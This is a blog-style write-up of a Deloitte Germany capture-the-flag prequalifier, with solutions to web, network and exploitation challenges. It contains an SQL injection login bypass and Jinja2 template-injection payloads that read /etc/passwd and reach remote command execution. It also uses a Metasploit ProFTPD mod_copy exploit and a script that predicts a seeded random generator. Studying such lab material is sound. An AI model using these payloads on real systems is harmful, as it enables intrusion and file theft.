Deloitte DE Hacking Challenge (Prequals) – CTF Writeup

Posted on Updated on

Hi,

Deloitte Deutschland recently organized a nice* capture the flag challange.

This article contains the solution of the questions in this competition.

Here is the CTF page;

https://portal.hackazon.org/

The content of the CTF  is as follows ;


WEB100 – Web exploitation – first steps


 

WEB_1 – Find the hidden flag #1 – 10

There is a flag hidden somewhere on the page, can you find it?

Use the following link to access the challenge:
https://portal.hackazon.org/challenge/6e8feec1d53cffb364ae189b6f0aec18/

Solution:

–> This is the server response, there is a flag at the bottom of the page.


WEB_2 – Login to Fred’s account – 20

Can you manage to login to Fred’s account?

Solution:

When we look at the source code it is seen that the js code is checked in the client side.

When we debug the js code

Here is the pass : my_secret_password

When logged in;

We got the flag.


WEB_3 – Become an administrator – 30

Can you get access to the admin page?

When you click the up link;

If you are an administrator, click here to go to the admin interface.

Solution:

When we entered the link;

We have a interesting cookie, when we modify the cookie;

We got the flag.


WEB_4 – Find the hidden flag #2 – 20

There is a flag hidden somewhere in the server response, can you find it?

Solution:

When we login fred’s account, look closely to response headers.


WEB_5 – Access the signup function – 20

It seems that the signup button is disabled, can you manage to click it any way?

Solution:

Inspect the signup;

Edit as enabled & click the signup;

First leg is OK.


WEB200-HackazonSec


 

Use the following link to access the challenge:
https://portal.hackazon.org/challenge/0ab93a6dbc3e0d8effe9364c79bfe62c/

WEB_6 – Find the hidden account – 10

Can you get access to the hidden account in stage 1?

Here is the page;


Solution:

When we login the level 1;

try, admin/admin


WEB_7 – Login to stage 2 – 40

Can you find the security vulnerability and login to stage 2?

Solution:

When we try the basic sql payload;

sample payload: '+or+1=1--


WEB_8 – Template injection – 150*

Can you use your jinja skills to get the flag?

This tutorial about Python Flask/jinja2 templating security might be useful.

https://nvisium.com/blog/2015/12/07/injecting-flask/

Solution:

Lets begin to injection;

Firstly, we need to check template injection vulnerability with test{{5*5}} ;

Dump all of the classes used in the application. Inject {{ ''.__class__.__mro__[2].__subclasses__()}} into the SSTI vulnerability.

While open is the builtin function for creating file objects, the file class is also capable of instantiating file objects, and if we can instantiate a file object, then we can use methods like read to extract the contents. To demonstrate this, find the index of the file class and inject {{ ''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read()}} where 40 is the index of the <type 'file'> class in my environment.

This will write a file to the remote server that, when compiled, imports the check_output method of the subprocess module and sets it to a variable named RUNCMD

Inject {{config.from_pyfile('/tmp/owned.cfg')}} to add the new item to the config object.

Now we can invoke the new configuration item to run commands on the remote operating system.Demonstrate this by injecting {{config['RUNCMD']('/usr/bin/id',shell=True)}} into the SSTI vulnerability. Remote Command Execution achieved with this command.

 

Second leg is OK 😉


NET100-Call an Ambulance


 

Call an Ambulance – 100

Our server is vulnerable to a well known attack. What was it called? Shellshock? Poodle?
The system can be accessed at 10.6.0.2. Flag format: flag{32-hex}

Solution:

Nmap report;

Nmap scan report for 10.6.0.2
Host is up (0.13s latency).
Not shown: 65534 closed ports
PORT STATE SERVICE
47238/tcp open unknown

I tried sslscan;

use msf;

try the exploit;

this section OK 🙂


MSC100-SSL (Secure Sockets Later)


 

SSL (Secure Sockets Later) – 100*

We identified a strange service. Can you identify the flag in the service response?
The system can be reached on 10.6.0.2.

Solution:

Nmap output;

Nmap scan report for 10.6.0.2
Host is up (0.11s latency).
Not shown: 65534 closed ports
PORT STATE SERVICE
7346/tcp open swx

Openssl scan;

uceka:~ uceka$ openssl s_client -connect 10.6.0.2:7346
CONNECTED(00000003)
depth=0 /C=NL/CN=www.cool3d.info
verify error:num=18:self signed certificate
verify return:1
depth=0 /C=NL/CN=www.cool3d.info
verify error:num=10:certificate has expired
notAfter=May 10 11:50:11 2016 GMT
verify return:1
depth=0 /C=NL/CN=www.cool3d.info
notAfter=May 10 11:50:11 2016 GMT
verify return:1
---
Certificate chain
 0 s:/C=NL/CN=www.cool3d.info
 i:/C=NL/CN=www.cool3d.info
---
Server certificate
-----BEGIN CERTIFICATE-----
MIICyjCCAbICCQCtBGWTtLOzizANBgkqhkiG9w0BAQsFADAnMQswCQYDVQQGEwJO
TDEYMBYGA1UEAwwPd3d3LmNvb2wzZC5pbmZvMB4XDTE1MDUxMTExNTAxMVoXDTE2
MDUxMDExNTAxMVowJzELMAkGA1UEBhMCTkwxGDAWBgNVBAMMD3d3dy5jb29sM2Qu
aW5mbzCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBAN+ecTtNsgu806k8
TXTTzxxFLn3pb1K8Grns+IGy4iJO8XtnxDlEfjrQ/Something/is/wrong/here
//CTF/a28cb5c7b2e307b6aecd561ac9bf1410//nvG3EzFB2pZV2Bxwox/eWh+U
3vmkJiNuyqgNb/iFrqenDv3/F3asxDjA74nDXwK9WUmsx4wv1Zj8pjyMgy27svJe
xUOsySmXmGvOXeJoDjAQnpxKl9cvWQWhsqO483AliOje191kP1CSwzyblTLbgXoG
fsBVPk+6Abc70FN/cs1KbDYZBlAszYe8RjqwJGDOp9dcbS2FkRslRasK3IP1koI5
X2imygsCAwEAATANBgkqhkiG9w0BAQsFAAOCAQEAiocCMDGOda/AiSOb+Cw70H73
WHyfLM+RgaYTsLFwRrp5InZ0Vbz//iOVsIfS12JJIuPzE2zY6PnoJWG/repFMaP1
5dvxc1x7+rhajMWsvRDWFSG4XNWVZlOll4CG1L2fe+y/aI80N1Bd3uz3GZ2QbaT/
4Yhhu2LG/8JRDm565Q9edh64sd2uS6wxBz4SGGiyos+nfG477urqlO0ockFytkZm
pTukzkgtGrMPFCD6PeGMqAV1+WvfYQ6sW14y7c0QwZDxXGKRt5dxixxbL51wCwaR
+um6G6k5ahRg3KbJy9QsbZZSyzK5W1+FJrfv6lVRlp7vzLZ28j2S+MLFx5vGPA==
-----END CERTIFICATE-----
subject=/C=NL/CN=www.cool3d.info
issuer=/C=NL/CN=www.cool3d.info
---
No client certificate CA names sent
---
SSL handshake has read 887 bytes and written 456 bytes
---
New, TLSv1/SSLv3, Cipher is AES256-SHA
Server public key is 2048 bit
Secure Renegotiation IS supported
Compression: NONE
Expansion: NONE
SSL-Session:
 Protocol : TLSv1
 Cipher : AES256-SHA
 Session-ID: 06E1232A92FAE39F48BA7DC1BC5A329C040B27C3716538D8381A530B2F7B2B6C
 Session-ID-ctx:
 Master-Key: 366B0D547189295950E3C1EE78AFC9FE1CB9E2222BE8DEC576E02DB4541467E7038F9012698161577C8649540891C458
 Key-Arg : None
 Start Time: 1492886772
 Timeout : 300 (sec)
 Verify return code: 10 (certificate has expired)
---

An SQL query goes into a bar, walks up to two tables and asks, "Can I join you?"

Firts look, you guess sql inj something;

Look closely to certificate;

-----BEGIN CERTIFICATE-----
MIICyjCCAbICCQCtBGWTtLOzizANBgkqhkiG9w0BAQsFADAnMQswCQYDVQQGEwJO
TDEYMBYGA1UEAwwPd3d3LmNvb2wzZC5pbmZvMB4XDTE1MDUxMTExNTAxMVoXDTE2
MDUxMDExNTAxMVowJzELMAkGA1UEBhMCTkwxGDAWBgNVBAMMD3d3dy5jb29sM2Qu
aW5mbzCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBAN+ecTtNsgu806k8
TXTTzxxFLn3pb1K8Grns+IGy4iJO8XtnxDlEfjrQ/Something/is/wrong/here
//CTF/a28cb5c7b2e307b6aecd561ac9bf1410//nvG3EzFB2pZV2Bxwox/eWh+U
3vmkJiNuyqgNb/iFrqenDv3/F3asxDjA74nDXwK9WUmsx4wv1Zj8pjyMgy27svJe
xUOsySmXmGvOXeJoDjAQnpxKl9cvWQWhsqO483AliOje191kP1CSwzyblTLbgXoG
...

When i saw this after a hour;

Flag is done 😉


NET200-D0iT FXP


 

D0iT FXP – 200

The D0iT FXP team is now recruiting new people for their FXP team. Prove them that you’re worthy!

The system can be accessed at 10.6.0.2.
Hint: If you need a writeable folder you might want to use /var/www/html/temp

Solution:

Nmap scan;

Nmap scan report for 10.6.0.2
Host is up (0.14s latency).
Not shown: 98 closed ports
PORT STATE SERVICE
21/tcp open ftp
80/tcp open http

Go to port 80;

 

Here is the port 21;

uceka:~ uceka$ telnet 10.6.0.2 21
Trying 10.6.0.2...
Connected to 10.6.0.2.
Escape character is '^]'.
220 ProFTPD 1.3.5 Server (D0iT FXP) [10.6.0.2]

When i search exploit about ProFTPD 1.3.5 in the msf, i found this;

Name                                    Disclosure Date    Rank        Description
----                                    ---------------    ----        -----------
exploit/unix/ftp/proftpd_modcopy_exec   2015-04-22         excellent   ProFTPD 1.3.5 Mod_Copy Command Execution

Fill this options as;

Exploit that;

 

Bingo 🙂


EXP200-Remote Rock


 

Files

You will need the files below in order to solve this challenge.

chall.py

Remote Rock – 200*

Beating Rock Paper Scisscors is easy when you run it locally. Can you also beat it on the remote service listed below?
Hint: No memory corruption is required, think of a way to predict what the computer is going to pick. You may reach the system at 10.6.0.2. Flag format: CTF{32-hex}

Solution:

Here is the chall.py;

import SocketServer,threading,os,string
import random, time
f = open('secret.txt')
flag = f.readline().strip()
offset = int(f.readline().strip())

choices = {
        'r': 'rock',
        'p': 'paper',
        's': 'scissors'
}

class ThreadedTCPServer(SocketServer.ThreadingMixIn, SocketServer.TCPServer):
    pass

class MyTCPHandler(SocketServer.BaseRequestHandler):
    def handle(self):
        rnd = random.Random()
        # Initialize the random number generator to some secret value
        # Note: the value of offset is too big to guess/bruteforce you need to find a better way 🙂
        rnd.seed(int(time.time() + offset))
        self.request.sendall("Rock paper scissors is back\n")
        self.request.sendall("To get the flag beat me 50 times in a row!\n")
        win_count = 0
        play_again = True
        while play_again:
            while win_count < 50:
                self.request.sendall("choose one [r] rock, [p] paper, [s] scissors: ")
                your_choice = self.request.recv(1024).strip()
                if not your_choice in 'rps':
                    continue
                self.request.sendall("Your choice %s\n" % choices.get(your_choice))
                my_choice = rnd.choice("rps")
                self.request.sendall("My choice %s\n" % choices.get(my_choice))
                if my_choice == your_choice:
                    self.request.sendall("Its a tie, sorry you need to win 50 times in a row, a tie is simply not good enough.\nWho ever said life was fair?\n")
                    break
                if ((my_choice == 'r' and your_choice == 'p') or 
                        (my_choice == 'p' and your_choice == 's') or 
                        (my_choice == 's' and your_choice == 'r')):
                    win_count += 1
                    self.request.sendall("Arghhh. you beat me %s times\n" % win_count)
                else:
                    self.request.sendall("You loose!\n")
                    break

            if win_count == 50:
                self.request.sendall("50 times in a row?!? are you some kind of mind reader?\n")
                self.request.sendall("Have a flag for your troubles: %s\n" % flag)
                return
            else:
                win_count = 0
                answer = ''
                while answer not in ('y','n'):
                    self.request.sendall("Play again? (y/n): ")
                    answer = self.request.recv(1024).strip().lower()
                    if answer == 'n':
                        return

SocketServer.TCPServer.allow_reuse_address = True
server = ThreadedTCPServer(("0.0.0.0", 1178), MyTCPHandler)
server_thread = threading.Thread(target=server.serve_forever)
server_thread.daemon = True
server_thread.start()
server.serve_forever()

And this code, one of the solutions how you can beat the computer guess;

import socket #for sockets
import sys #for exit
import time

#we need two session
s1 = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s2 = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

s1.connect(("10.6.0.2" , 1178))
s2.connect(("10.6.0.2" , 1178))

def recv_timeout(the_socket,timeout=0.2):
    #make socket non blocking
    the_socket.setblocking(0)
    #total data partwise in an array
    total_data=[];
    data='';
    #beginning time
    begin=time.time()
    while 1:
        #if you got some data, then break after timeout
        if total_data and time.time()-begin > timeout:
            break
        #if you got no data at all, wait a little longer, twice the timeout
        elif time.time()-begin > timeout*2:
            break
        #recv something
        try:
            data = the_socket.recv(8192)
            if data:
                total_data.append(data)
                #change the beginning time for measurement
                begin=time.time()
            else:
                #sleep for sometime to indicate a gap
                time.sleep(0.1)
        except:
            pass
    return ''.join(total_data)
data = {}

for i in range(50):
    s1.send('r' + '\n\r') 
    result=recv_timeout(s1)
    data['a%d' % i]=result.split("My choice ")[1].split("\n")[0]
    print result
    print i
    #print result
    if "Arghhh" not in result:
        s1.send('y' + '\n\r')
s1.send('r' + '\n\r')
s1.send('r' + '\n\r')
s1.send('r' + '\n\r')
s1.send('n' + '\n\r')

for i in range(50):
    if 'rock' in data['a%d' % i]:
        s2.send('p' + '\n\r')
        result=recv_timeout(s2)
    if 'scissors' in data['a%d' % i]:
        s2.send('r' + '\n\r')
        result=recv_timeout(s2)
    if 'paper' in data['a%d' % i]:
        s2.send('s' + '\n\r')
        result=recv_timeout(s2)
    print result

 

 

This done, all is done 🙂

 

 

My nickname in this ctf : babayaro 🙂

And results;

 



 

Advertisements

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out / Change )

Twitter picture

You are commenting using your Twitter account. Log Out / Change )

Facebook photo

You are commenting using your Facebook account. Log Out / Change )

Google+ photo

You are commenting using your Google+ account. Log Out / Change )

Connecting to %s